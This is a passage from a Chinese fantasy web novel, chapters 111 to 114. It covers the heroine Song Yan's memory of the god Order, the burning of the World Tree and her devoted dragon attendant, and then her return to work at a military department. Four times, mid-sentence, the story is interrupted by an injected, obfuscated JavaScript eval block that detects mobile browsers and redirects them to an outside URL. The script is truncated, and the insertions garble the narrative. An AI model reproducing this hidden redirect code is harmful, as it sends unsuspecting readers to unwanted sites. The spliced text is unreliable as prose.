秩序慢吞吞道:“那个孩子啊......小时候没少和别的龙打架,龙族嘛,天性好斗,这点我知道,他似乎人缘不太好,总被针对,有一次我接到举报,十几条龙围殴他一个,我当时就赶过去了,就怕去晚了只看到一滩血,可是我真傻,真的。” 秩序模仿龙族族长语气,道:“我单想到别人群殴他,没想到他会揍别人,我到地方的时候,那孩子身边倒了一片,全都出气多进气少,有几个断了犄角和尾巴,还有的爆了眼珠。” 秩序摇了摇头,道:“所以我当初其实有点不放心,直到龙族族长和我说,放心好了,虽然他会揍人,但一般不主动揍人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375751|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,主要还是龙族新出生的这批后代智商有点低,记吃不记打,没好几天又要去找人家打架,再被打断腿回来,唉。” 宋言从她这声“唉”中倒是真情实感听出了那位族长的哀叹,她一时不知道应该先吐槽哪一点,只好问起另一件事:“我听到一个声音,说它不是秽,和我天生一体。” 秩序闻言,竟然点了点头:“当初神树开天辟地,创建卡巴拉,我是第一个出生的,你是第二个,但其实你该排在我前面。” “世界倒塌而后重建,才有秩序生成运行,你该在我前面出生,但神树把你排第二个,是因为毁灭只有一个神格,却产生了两位神灵。” “毁灭,可以是暴虐地掠夺,也可以是推倒既有的混乱。二者相生,却出现了两位神灵,你们的一生将纠缠不休,只为了争夺这一个神格。” 秩序道:“但神树见世界初生,不愿再起波澜,便将其中一个镇压在地下,只让你出生,届时世间秩序已初步形成,神格又在你身上,即使地下那位有毁天灭地之能,也无法对卡巴拉造成威胁。” 宋言垂眸道:“可它还是来了,也许我不该去水边。” 秩序摇头道:“这无关乎你去哪,神树原本也以为这样可以隔开你们,但你们纠缠一生的程序早在卡巴拉形成前就已开始运行,可能是宿命吧。” “......宿命?”宋言反复咀嚼这个词,觉得似曾耳熟,却也想不到在哪听过。 少年送走秩序,捧着一碗茶放到宋言手边,上面盖着盖子,只露出一根吸管,屋里能反光的物件也被尽数收起,总之不能让宋言看到自己的脸。 宋言叼着吸管,吸了几口茶,忽然道:“我看龙族成熟期大多是邪魅狂狷或美艳成熟那一挂,你倒是与众不同。” 少年低声道:“您不喜欢?” 宋言摇了摇头:“不是喜欢不喜欢,我在想,这是否又是一种新型仙人跳,你明明在龙族混得风生水起,为何要求我收留呢。” 少年微微挑眉:“您管这叫风生水起吗?” 他轻微叹了口气,道:“我没有骗您,我遭同族排挤,过不下去每天睁眼就是打架的日子了,这才逃出来,又凑巧掉进貔貅捕猎的坑,才被您捡到。” “虽然我被您捡到的时候,的确不算幼崽了,但您也不太在意这一点不是吗,所以我猜您并不会为这一点生气。” 宋言点头,回忆起来,他其实从头到尾都只说了同族找他打架,至于他被殴打小可怜这一点,全是宋言自己脑补出来的。 这么一想,宋言没来由的气又消了下去。 少年接着道:“所以您是对我哪里不满意呢?” 他眼神执著而倔强,颇有一点不问清楚不罢休的意思,宋言望着他,心中感叹到底还是个小孩子,她和小孩子计较什么。 终归这只是一段回忆,难道她真要和记忆里的人争个高下不成? 宋言心念一转,干脆拉着被子蒙上头顶,声音闷闷的:“头痛,睡了。” “那我请秩序大人过来。”少年道。 “不用。你出去吧,让我静静。”被子底下传来宋言的声音。 少年只好“哦”了一声,慢吞吞转身往外走,走到门口时,他偷偷回头看了一眼,见宋言还捂在被子里,便轻快地在门帘旁系上一条红色丝绦,缀着个珠子,晶莹剔透。 那条丝绦隐没在门帘里,飘飘荡荡,少年又回头看了一眼,开口:“那我出去了,您还有交代我做的吗?” 被子里伸出一只素白的手,摆了两下。 看来是没有。 少年眼睛瞬间黯淡下来,慢慢关上了门。 111. 拾荒者(十六) 111 * 五日后。 “走进去就可以吗?”宋言望着枝叶繁茂的巨木,有些踯躅。 秩序点头:“神树会将你们再次分离,这一次你原有的神格将被粉碎,它无法借助这层联系,再次回到地面。” 宋言点了点头,便打算进去。 这座孕育了整个卡巴拉和四位神灵的神树,站在近处,即使仰头仰到脖子都酸了,也看不到树冠的尽头。 无边无际的森绿自这里生出,一直蔓延到世界尽头,宋言光是站在树下,便能感受到扑面而来的生命力。 周天交替之时,神树会开始新一轮的除垢纳新,秩序更改了其中几条律令,把宋言也纳进了“除垢”的范围。 宋言对此并无异议。 笑话,就算她有又怎么样,这只是一段记忆,难道她能改变过去的事情? 宋言刚想走过去,衣角便传来一点微弱的力道。 “您什么时候出来?”少年问道。 宋言也不太清楚,只好转而问秩序,对方的回答是下一个大周天。 七天为一个小周天,循环七次,就是一个大周天。 少年眨了眨眼:“那我等您回来。” 宋言心想,如果不出意外,应该是不会回来了。 但她还是点了点头。 秩序看着他们,有点诧异:“你的侍者还有雏鸟情节?” 宋言回忆片刻,回答:“这孩子我一直带在身边,他可能不习惯离开我。” 秩序这下明白了,道:“龙族好歹也是神话生物,之后神树会像驱赶狐族一样,把龙族也送往其他小世界。卡巴拉只是雏形,总不能所有种族都混在一个世界里。” “这孩子总不能一辈子待在卡巴拉,总有一天要随着本族迁往其他世界的。” 宋言听了一阵,感觉这话不是说给她听的,回头看了看,少年脸上的笑果然淡下来,看着有些木。 秩序还在说:“我院中的侍者都不像你家的这样,干什么都要跟在后面,小尾巴似的。” 宋言打断了她的话。 “小尾巴就小尾巴吧,我喜欢小尾巴。” 她道。 扯着她衣角的力道顿时重了几分,少年眼睫颤了颤,微微仰头。 缎子般的乌发浓密垂顺,贴着韧而窄的腰轻轻晃动,宋言顺手摸了一把,掌心又传来毛茸茸的绵软触感。 于是宋言做了件她一贯不会做的事。 她捏了个谎。 宋言说这话时,眼睛没有看少年,而是望向郁郁苍苍的神树。 她道:“等到下一个大周天,你来神树下寻我吧。” “你就说你是我的神侍,不管我记不记得你,不管我是谁,你就......” 宋言在这里停下,一时没有想到合适的词语。 少年小声嘀咕道:“我就拉您回来,三花和金毛样子都还没变,还有白泽,他们都在小院等您。” 他又抬起头,问道:“您要为我取名的,这话作数吗?” 宋言沉默片刻,回答:“作数。” 这是她同少年说的最后一句话。 进入神树后,这段第一人称的记忆按下终止键,宋言的意识在空中飘荡,看着神树上结出一大一小两个果子,一个青翠,一个漆黑。 少年每天都会来树底下等,从早晨等到傍晚,他似乎并不相信秩序说的大周天,一定要亲眼看着那个青翠的果子越来越大,才能确信他的神灵的确是快回来了。 枝蔓上,青色果子身周弥漫着细密的雾气,那是灵气过于充沛形成的灵雾。黑色的却逐渐干瘪下来,只剩下外面一层皮空空挂在枝头。 等黑色果子彻底枯萎,依附毁灭神格而存在的秽就会彻底清除。 但是真的会这么顺利吗? 宋言脑中闪过几段画面,在心中摇了摇头。 第四十八日。 少年依旧天不亮就在神树下等着,那枚青色的果子表面出现细小的裂缝,淡淡的灵气涌出,枝蔓摇曳。 宋言在神树下当了足足四十八天的阿飘,盘算着日子,觉得也快到时候了,干脆到树下和少年一同等着。 少年手里系着根红绸缎,底下缀着个乌黑发亮的珠子,很像他的眼睛。见四下无人,他摩挲着那枚珠子,低声道:“金毛长大了一些,犬族来要过人,我给挡了。三花喜欢一只狸花,我说要问过您的意见,那只狸花我至今没让它进门......” “大人,您说该怎么办才好?” 没有回答。 宋言在旁边听他工作汇报式地说了一气,心想你不是挺行嘛,看样子当初毁灭不是招了个神侍,是找了个管家。 倒显得她这个“大人”可有可无。 少年嘀嘀咕咕一阵,最后道:“如果明天您回来了,这些事就您来定夺;如果没有,那我后天继续来这等。” “反正,总能等到的。” 宋言在他背后晃荡,一只手支着脑袋,有点想敲他一记。 她的手从他身体中穿过,少年就在眼前,她却仿佛触碰到一团凝滞的空气。 唉,宋言叹了口气,看来她是注定不能敲醒他了。 太阳逐渐走到西边,逢魔之时,神树忽然颤动起来,那枚青色的果子表面裂开一条缝,紧接着,挂在旁边的黑色果子也急剧震颤起来,表皮迅速干瘪,这位神灵很快就将迎来祂的新生。 少年惊喜抬头,望着那枚摇摇晃晃的青色果子,它逐渐膨胀、撕裂,表面出现蛛网似的裂痕,隔壁的黑色果皮则皱成一团,像一团干巴巴的酸菜。 少年身后突然多了一个人。 少年回头,刚想出声,到口边的话却生生咽了回去。 他看到那位秩序大人的脸色很不好看,或者说,秩序从出生到现在,神情就没有这么严肃过。 她眉头皱成川字,在额头刻下深深的印记,道:“我错了,神树并不能洗掉她身上的秽,反而会把两个毁灭彻底融合在一起,四十九日后,诞生的那位神灵......谁知道是谁呢?” 这话仿佛在少年胸口重重敲了一记,他旋即反应过来,深吸一口气,问道:“所以说,毁灭大人再次醒来,不仅会失去记忆,甚至可能会被鸠占鹊巢?” 秩序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388825|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斟酌道:“不是可能,是大概率。你看那枚黑色的果子。” 她指向神树枝头,繁茂枝叶间,一团干瘪的黑色果皮迎风飘荡。 “如果毁灭的秽被神树吸收,重新压入地下,同时毁灭神格也被销毁的话,这个黑色的果子不会越来越小,而是会随着时间推移,慢慢成熟。” 秩序道:“它关着毁灭的秽,却在现在裂开,只有一种可能,它逃走了,并且逃进了毁灭的神格里。” 少年眉心紧皱,正色道:“所以你现在要......” 秩序面容疲惫,微微点头:“为今之计,只有先把两个毁灭分离。你回去吧,去找你们族长,龙族分到的小世界是潜海,你们族人都忙着迁徙,这边也用不着你。” 宋言在两人身侧飘着,见少年只是给秩序让出位置,却没有丝毫要离开的意思,不由微微叹了口气。 真是固执啊。 另一边,在秩序的操纵下,灵气涌动的青色果子安静下来,表皮裂痕逐渐愈合,甚至有慢慢缩小的趋势。 少年仰头看着那枚青色果子,问道:“那毁灭大人还有机会出生吗?” 宋言飘在二人中间,左右看了看,两人俱是一脸严肃,她在心里回答了少年的问题——估计是没有了。 秩序喘了口气,鬓角浮出细密的汗珠,道:“等毁灭被彻底分出来,回到神树濯洗干净,除去秽后,再看看哪个神格适合她吧......” 她这句话没来得及说完,不远处,传来石破天惊的一声响。 少年猛地抬头,朝爆炸处看去。 宋言也随着他的目光抬头。 那个青色果子,炸了。 无数纷繁的流火从内部喷涌而出,坠地。黑色的、红色的火焰相纠缠,甫一落地,便发出噼啪爆裂的声响,随即迅速燃烧起来。 整座神树都被包裹在火焰中。 “神树......烧了?!” 少年怔愣道。 卡巴拉的基座,所有生灵的母亲,神树......被烧了?! 很快他发现他的话有失偏颇。 从神树开始,黑色的火焰肆意流淌,顺着盘虬错结的根系蔓延到每一个角落,沿途所经之处,无论是山石、花草还是房屋,都被火舌舔舐着卷入,世界沐浴在一场盛大的焰火流金里。 少年不自觉后退几步,旋即站住,膛目结舌地望着这场堪称灿烂的祭礼。 不是神树烧了。 是卡巴拉烧了。 宋言反而几乎是在欣赏这场焰火,世界一片赤红,黑色的火焰烧得老高,神树翠绿的枝叶簌簌落下,烟灰在空中飘荡,天空雾蒙蒙一片。 她之前想过这段记忆的终局在哪里,现在看来,就在这里。 神树表面被烧得焦黑一片,终于在漫天流火中轰然倒下,发出巨大沉闷的声响。 宋言往身后看了一眼,以为此时任何人都应该会惧怕,可她看到她的侍者时,却愣了一下。 她看到他脸颊上亮晶晶的,好像是水。 宋言心中一动,想靠近看清楚些,天却黑了下来。 世界悄然落幕。 112. 拾荒者(十七) 112 * 宋言眼皮一阵刺痛,久处黑暗的眼睛,骤然见光,生理性泪水顺着脸颊流下。 对于宋言来说,此时更像是电影院突然开灯,幕布升起,告示观众影片已经结束,请自行离场。 至于为什么要抓着她沉浸式观影,宋言心中已经有了答案。 火山底下是一片白茫茫的雾,面前女子眼眸银白,面容隐藏在一片淡白色的光晕里。 她道:“你应该知道我为何而来。” 宋言思索片刻,点了点头。 她只有一点不明白,问道:“如果我就是另一个毁灭,为什么我会在另一个世界,以人的身份生活了几十年?” 总不可能是她触犯天条,被罢黜下凡吧。再说,卡巴拉哪来的天庭。 光圈里传来声音:“当初我尝试把你和你的秽分开,结果你的秽比我想的更聪明,它没有强行和神树对抗,而是偷偷和你融合,以至于你的胚胎没有发育完全,就将分娩。” “如果你在四十九日后分娩,不仅你无法出生,你的秽也会借助新的神格重回地面,我本想延缓你的出生,把这件事先拖后,或许就有转机。” 那团光晕道:“可是结果你已经看见,我们同归于尽了。” “卡巴拉焚毁,神树还剩下几颗种子,它逃走了。我只好把你先放到其他世界里,借用人族已经成形的轮回秩序,根据他们的秩序,你魂魄不全,最开始只能入畜生道,后来我改了改,你总算可以轮回成人。” “人族一生不过百年,爱恨匆匆,却都浓烈,我前几次去看过你,你木得很,外界怎么刺激都没反应,轮回几十次才好些。” “后来我就没管了,秩序已经成型,你可以借着轮回不断孵化你自己。那时我有更紧迫的事,我发现了它的踪迹。” 那团光晕的声音有点疲惫,似是很多年没有说过这些:“它需要持续不断的能量供给,于是开始不断收割神树创造的小世界。它知道像我这种层次的神灵,很难直接影响到下面,笃定至少在它发育阶段,我不会管它。” “很遗憾,它赌对了,我只好寻找在小世界的代理人,来延缓它收割能量的速度。” 宋言插嘴道:“所以你选择了沈以泽和苏芙?” 那团光晕上下浮动,算是点头:“最开始是他们,我把机械家的侍者薅来用了用,我不能下去,不代表其他人不行,不过小世界那些人,似乎把机械家的侍者错认成了神。” “不过这种误会倒是方便了我,于是我下放[塔],创建让小世界的人也能对抗它的秩序,它收割世界的速度慢下来,直到你现在这个世界。” “这个世界条件成熟,我才把你拎了回来,不然等我处决了它,它和你先天有联系,还是会附到你身上。” 宋言道:“这个世界有什么特殊的地方吗?” 对方道:“不是世界特殊,是人特殊,神树被烧毁后,有一粒种子掉入三千世界,我发现它的时候......它被做成了项链,挂在一个人类脖子上。” 宋言疑惑道:“项链?” 系统这时候跳出来,补充道:“就是我之前和你说的,沈溯身上那件东西。靠,我本来想拿着它......” “生命。”那团光晕里传出一道威严的声音。 系统登时不说话了。 饶是宋言之前已经猜到七七八八,但真正听到又是一回事,她沉默片刻,道:“所以这玩意真的和我是同一棵树上的啊?” 光晕晃了晃,道:“机械和生命在上个世界自请去捉它,结果人没捉到,他们两个自己先打起来了。” 系统“哼”了一声道:“可是我赢了,机械那个软蛋,现在还没拼好自己的身体。” 宋言提醒它:“可是你甚至连自己的身体都没有,还要寄宿在我身体里。” 系统:“......” 所以说,神和神之间的差距,比鱼和自行车之间的差距还大。一边是系统无能狂怒,一边是秩序一锤定音。 那团光晕散成浮沫似的光点,朝宋言涌来,几秒后,她脑中多了个肃穆的女声,和记忆中秩序的声音重叠。 “它也一直在找那颗种子,我们这些神灵,都由神树孕育,所以它的种子天然对我们有吸引力。如果它得到那颗种子,毁灭的神格就会立刻归位。” “神树已经焚毁,如果它得到了毁灭的神格,你存在的正当性就被完全消解了,你明白吗?” 宋言摇头:“不明白,请讲人话。” 那个声音沉默了片刻,语气有点无奈:“看来你在人族呆了这么多年,已经完全被同化了。人话就是,如果它得到种子和毁灭的神格,你就会被判定为不存在的神明,卡巴拉虽然被烧毁,可底下的封印还在,你会坠入地下,受烈火冰冻之苦。” “并且,永世不得解脱。” 秩序道:“这下你明白了?” 宋言低低“嗯”了一声。 秩序终于满意了,道:“我把一部分寄宿在你身上。我和这个小世界的掌权者合作,届时会通过别的方法降临,我降临之日,就是它的死期。” 宋言默默听着,没有说话,过了许久,她才提出最后一个问题。 她问道:“我记忆里那条小龙呢?他到哪去了?” “也许在你身边?”秩序斟酌着回答,语气难得有些不确定,“你们之间有神契,一直没有解开,虽然神契应该随着你失去神格而崩溃,但是你那位侍者有点......疯。” “他跳进洗鳞池把一身鳞片拔了,龙族族长当时以为他害了疯病,找我去看,我问他为什么要这么做,他说......” 秩序停顿了几秒,脑中不禁回忆起那堪称惨烈的景象。 洗鳞池,少年脸色白得近乎透明,半边池水金灿灿的,一线铺开,散落的鳞片混杂着血液在水上散开,水波一冲,像开到极致糜烂的花。 他似乎不觉得痛,只面无表情地把鳞片拣作几堆,依记忆摆出了一个阵法。 秩序回忆道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408556|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼就看出他想做什么,那是上古年代的阵法,神树尚未长成,许多秩序都有漏洞,其中就有这条。” “神契是依附于神格,但是若订一份新的契约,依附于神魂,那么即使失去神格,他和你之间还是有联系。” 宋言思索片刻,忽觉不对:“你也说是上古阵法,还有漏洞,条件应当很苛刻,他一个人怎么做到?” 秩序道:“因为这个阵法需要的材料虽然很多,甚至称得上残忍,但是对于你那位侍者来说,并不算难。” “以龙鳞为引,龙血作阵,再取一条龙的龙丹压阵眼,如此算下来,大概要活剥一条龙,也怪不得这个阵法逐渐失传了。” 宋言沉默了。 白雾逐渐消散,眼前不再是火山和滚烫的岩浆,她直接回到了卧室。 秩序最后说,那条小龙改了神契后,借着神魂牵引,跟去了秩序为毁灭重新孵化挑选的世界。 那个世界内部秩序和卡巴拉不同,一旦进入,就会被世界规则降维,强制在世界规则下运行。 他不知道这一点,进去后便失去了记忆,随着规则轮回流转,秩序去看宋言孵化的情况时,有一只小鸟停在她肩头。 那就是那条小龙。 秩序当时吃了一惊,但去看宋言的第二次、第三次,她身边不是陪着小蛇就是小狗,秩序也就释然了。 这不论对谁来说,都是得偿所愿。 宋言坐在床上,看着天色一点一点亮起来,窗外传来零落的鸟鸣声,心里忽然像被小鸟啄了一下。 那些阴谋诡计、畸变种异能者,还有突然冒出来的一段记忆,都如潮水般被这阵鸟鸣冲走,她深深吸了口气,决定下楼。 秩序最后那段话还在她脑中回响。 “我每次去看你,你那位侍者总是能以稀奇古怪的方式找到你,守在你身边。你说他是在保护你吗?我觉得不是,他连记忆都不剩多少,怎么能记得你?所以我觉得,可能你这位侍者就真的只是想呆在你身边吧。” “你那位侍者的神魂和你绑在一起,就算我把你拎到这里,命运也会让你们重逢。所以,如果你想找他,可以先回忆一下你身边总是出现哪些人或者小动物。” 这个答案如此简单,又如此难以揭开。 很难说在那段记忆中宋言有什么深切的感受,毕竟她到现在都很难带入——自己原来是神啊真是太棒了。 在秩序和另一个毁灭的交手中,她并不是主角;经历那段记忆后,她甚至印象最深的不是那个和她争抢神格的毁灭。 而是那滴晶莹的泪。 宋言有些好奇,真的会有人为她落泪吗? 虽然那滴泪,仔细算来,并不是为她流的,但这件事本身就足够惊心动魄了。 如果有一个人为了你,虽然是不知道前了多少个世的你,抛去一身龙鳞内丹不要,只为了守在你身边,这未免太...... 太过分了。 宋言只能想到这个词。 但是又太可怜了。 113. 您即将通往结局(一) 113 * 客厅的灯亮着。 天雾蒙蒙的,结了一层霜,天边泛着淡淡的金色,不像是清晨,更像是黄昏。 客厅只开了盏小灯,茶几旁,那条浑身金灿灿的小龙一见宋言下来,便直直从沙发上立起来,窜到她怀里,宋言被这发弹射弹打得措手不及,险些跌倒。 她只好往上捞了一把,小金蹬鼻子上脸整条龙挂在宋言肩头,一长条鳞片闪闪发亮,像光滑的缎子。宋言拎着它的尾巴,把它拽下来,手心又隐隐出现毛茸茸的触觉。 想到这里,她心里又烧起一团暖烘烘的火焰,拽到一半,停止了动作。 冰箱里有新鲜的食材和便利食品,宋言热了杯牛奶,顺手拆开一袋面包,在等待牛奶加热的过程里,她点开了系统背包。 背包里还是那些东西,三枚碎片、那本异能图鉴,还有她此前收集的零碎。 宋言拿出那几枚碎片,道:“你之前说,集齐五块,可以送我回原来的世界。” 系统沉吟片刻,道:“理论上是可以的。” 宋言驳斥道:“但是实际上我不需要这个理论,我就是毁灭,所以我想回到原来的世界,不应当还要通过钥匙打开界门。” 宋言径直说下去:“你一开始就在骗我,你想利用我得到碎片,甚至还想要沈溯身上的神树种子。没想到茶叶团子心眼也马蜂窝似的。” 系统听不下去了,否认道:“第一,我不叫茶叶团子;第二,其实我一开始没认出你。” 宋言“嗯”了一声,尾音向上。 系统解释道:“我最开始,只是挑了个能量最充沛的生命体寄宿,你这么大一团,在地上一大堆蚂蚁似的生命体里,分外显眼。” “所以我一眼挑中了你,啊,我可真有眼光,在什么都不知道的情况下,一眼挑中了秩序为你锻造的身体。” 宋言从锅里倒出牛奶,喝了一口,上唇立刻多了一圈奶胡子,小金试探着来舔,被宋言揪着尾巴捉回去。 宋言想了想,干脆给它也倒了一杯。 茶几上传来“咕噜咕噜”的吞咽声,系统继续道:“和你说碎片能打开界门不完全是骗你,即使你是毁灭,想要进入已经形成完整秩序的小世界,要么依靠碎片,要么依靠时空乱流。” “碎片是最安全的方法,如果是时空乱流,先不提你进入时空乱流就会被撕碎,就算你进去了,也很容易迷失在时空片段里。” 宋言慢条斯理地吃完面包,她喜欢把面包浸在牛奶里,泡得软绵绵的再吃,一会儿功夫,面包吃完了,牛奶也只剩下一半。 她抽出一张湿纸巾,擦干净嘴边的碎屑,道:“可你还是隐瞒了一点,碎片可以打开界门,这不错,但对你来说这一点毫无用处。” “所以对你来说,它一定有其他的用处,我觉得吧,都到这个地步了,你还在打自己的小算盘,就太无聊了。” 她道。 系统沉默良久,等到宋言把剩下半杯牛奶也喝完时,才缓缓开口:“我可以告诉你,但你要保证你不笑我。” 宋言点头:“我受过专业训练的,我一定不笑。” 于是系统咳了一声,道:“嗯,我要碎片主要是因为......我想打开界门,把机械从卡巴拉踹出去,靠,我要这个铁皮脑袋也尝尝被踹的滋味。” 宋言最后一口牛奶差点没咽下去,她被呛到,剧烈咳嗽几声:“......就这?” 系统挺直了腰板:“怎么,我想干机械很久了,这难道很丢人吗?” 宋言又咳了几声。茶几上,小龙双爪揣着杯子,努力嘬奶的嘴停下,听到响动,回头望来,一头一脸满是奶沫。 宋言闷闷地笑,抽出另一条湿巾,把小金薅过来,边擦它脸上的奶沫,边鼓励道:“有梦想谁都了不起。” 小金在她手中挣扎了两下,后面干脆不动弹了,尾巴垂落在地,像条死鱼。 系统犹疑半晌,道:“你是不是在讽刺我?” 宋言摇头:“我不是你一眼挑中的好宿主吗,怎么会讽刺你呢?” 她收拾好桌上的垃圾,揣上小金和背包,看了眼挂钟,正好七点半。 神明也要上班的。 ...... 军部。 入秋了,天气新凉,最近又老是下雨,空气里都带着潮味。 早上气温低,宋言来得还比正常上班时间早半个小时,没进门,就听到里面传来一阵喧闹声。 “黄姐,我吃个早饭啊,等会就把资料找给你......” 宋言觉得耳熟,感觉这道女声在哪里听过。 马上,另一道声音响起。 “也不是我非要麻烦你苏大小姐,真是,研究院那边被偷了东西,事情落到军部来,还不是我们这些人干活,要不是今天小李他们都请假了,我也不会喊你。” 苏妮点点头,将嘴里剩下一点豆沙包咽下去,正打算找个垃圾箱丢垃圾,一抬头就看到了宋言的脸。 她眼睛瞬时睁大,刚想咽下的包子堵在嗓眼,半天才道:“你......你来这么早啊?” 宋言颔首,路过顺手拍了拍她后背,苏妮那点堵在喉咙眼的早点勉强咽下去,解释道:“今早突然下来任务,研究院那边丢了一批药,听说还和一个反.动组织有关系,叫什么共.济会来着。这事挺大的,我一来就被抓壮丁了。” 宋言看了一眼钟,道:“现在还没到上班时间吧?” 苏妮摇了摇头:“是没到,不过咱们帝都,难道还有劳动法吗?那都是大灾变之前的事了。” 苏妮在一叠档案里抽出黄姐需要的几份,跑过去给她,宋言琢磨了几遍她的话,脑海不自觉浮现出一辆大货车。 她当时问货车里装了什么。 黑皮小哥答,装的药。 研究院丢了药,她接了拾荒者的任务,护送一辆大卡车出城,而那辆车里,满满当当装的全是药。 再加上之前看到的陈娟......还有人在背后埋伏她。 十三年前那场灾难,和宋言这几日经历的种种,在此时织成一张密不透风的大网,宋言感到胸口一阵气闷,但是又找不到撕开这张网的刀。 宋言捡起苏妮遗落在桌上的告示,粗略读了一遍,更觉疑惑。 共.济会抢了研究院新研制的基因药,现在研究院大张旗鼓地找,任务甚至下到军部来。 可是,抢了基因药的明明不是共.济会啊。 宋言心中疑云窦生,整件事就像一团乱麻铺开,不管怎么理,理出的线头都会瞬间被另外多出的几条线淹没。 她袖子里传来一阵呜呜声,唤回宋言的思绪。 苏妮刚交完资料,转身又回到这边,小声道:“你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425689|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实习生就是这样,到哪都是被使唤的命。” 不过她抬头看了宋言一眼,又补充道:“噢,你不一样,你命好。” 宋言一时不知道该怎么接,便道:“那我同方队提议,把你调来我们这?” 调来第一支队,多少人趋之若鹜的差事,宋言不清楚这点,但苏妮清楚。 她哽了一下,道:“不了,我是买进来的,不好像某些猴子那么高调,在资料室干活就挺好的。” 听到这,宋言仔细端详她的面庞,杏眼圆圆,气色润泽,说话间不卑不亢,这是大家族长年累月才能养出的气度,但和沈溯那种天生的矜贵比起来,又不太一样。 宋言若有所思:“苏姑娘,你既是医药巨头苏氏的女儿,高调些又能怎么样呢,再说,你也不是没有高调的资本,呆在资料室,实在埋没人才。” 苏妮不为所动,耸了耸肩,把手上一叠档案分拣成几份,边道:“我和那只猴子不一样,他为了接他舅舅的班,我只是来走个过场,混混履历,好回去帮着家里打理生意。你们当英雄就好了,我嘛,还是适合跟在你们身后。” 苏妮很快整理好资料,抬眼,却不是看宋言:“喏,说猴子猴子到,我们又来活了。” 宋言背后,很快传来一道轻快的男声。 “啊,你们都在啊,行吧,也不用我一个个去找了。” 楚瑜活动了下筋骨,上前来,习惯性想拍宋言的肩,宋言侧身避开。 楚瑜愣了下,这人说好听点是豁达大方,说难听点就是鲁莽迟钝,自以为打场架全天下都可以当他好兄弟,自从昨天收到匿名包裹,包裹里装着他的锤锤时,他就单方面原谅了宋言。 殊不知宋言只是不想再看队友一副蠢样子。 苏妮“扑哧”一下笑出来,楚瑜不知道她为什么笑,却也直觉她不会说真实理由,只好挠了挠头,道:“内网又给我们发新任务了,这次是执勤任务。” 对于新人来说,执勤任务是最容易分到的任务,很少有人在这个任务上翻跟头,所以也被叫做新手保护任务。 一般来说,被分到这个任务,都会心里暗喜,又可以摸一天的鱼,但在场几个人表情都很平淡。 宋言心里盘算着那一车药,楚瑜左右看了看两个女人,发现自己夹在中间像根鸡毛掸子,谁也不理,顿觉没趣,只好回去和沈溯排排站。 结果这位大少爷也是个笑而不语的,楚瑜更憋闷了。 他想了想,干脆去车库里挑了辆敞篷suv开出来,他去得早,还能挑到一辆被涂装成粉色爱心的公车。 骚气的大suv在军部门口停下。 门外传来青年嘹亮的喊声。 “那边几个,上车,出外勤了。” 沈溯缓缓走到宋言身边,似乎已经忘了昨日的不快:“宋姑娘,请吧。” 宋言抬起眼,沈溯挨得太近,宋言从这个角度,可以看见他锁骨上方隐约露出的一点红线。 宋言心念一转,点头道:“好。” 最后动身的反而是苏妮。 她经手的几摞档案已经各归其位,这双用毒行医的手在整理纸质文件时也一样稳当。 沈溯和宋言并肩而行,坐上那辆拉风大suv的后座。 苏妮看了他们一眼,从几摞档案中抽出一份,放进背包里。 没有人看见她的动作。 114. 您即将通往结局(二) 114 * “头儿,我脚酸。” 胖墩龇牙咧嘴地站起来,揉了揉膝盖,抱怨道:“线人那边给我们消息,那个女孩子今天会出现在这边,可是我们等了这么久,别说女孩子了,连只母鸡都没见着!” 话音未落,一只蚊子“嗡嗡”作响,停在他鼻尖,胖墩打了个喷嚏,道:“得,连只蚊子都是公的!” 姜夜白已经习惯同伴的吵闹,只淡声道:“要么你和箐姐换班,她来做这个任务,你去胭脂坊找你的小翠,如何?” 胖墩一想起叶箐的脸,心里就咯噔一下,是被吓的。 他语气弱下来:“还是别了吧,我......胭脂坊哪有任务好玩。对了,我们这次任务对象叫什么?” 姜夜白翻出三张照片中的一张,相片上女孩圆脸杏眼,不笑也似笑,他扫了一眼,道:“苏氏养女,现在在军部任职,今天会和同伴出外勤,经过这一片区域。” “苏家的女儿?他们不是和我们一向没有利益纠纷吗?青木大人干嘛让我们去查她?”胖墩不解。 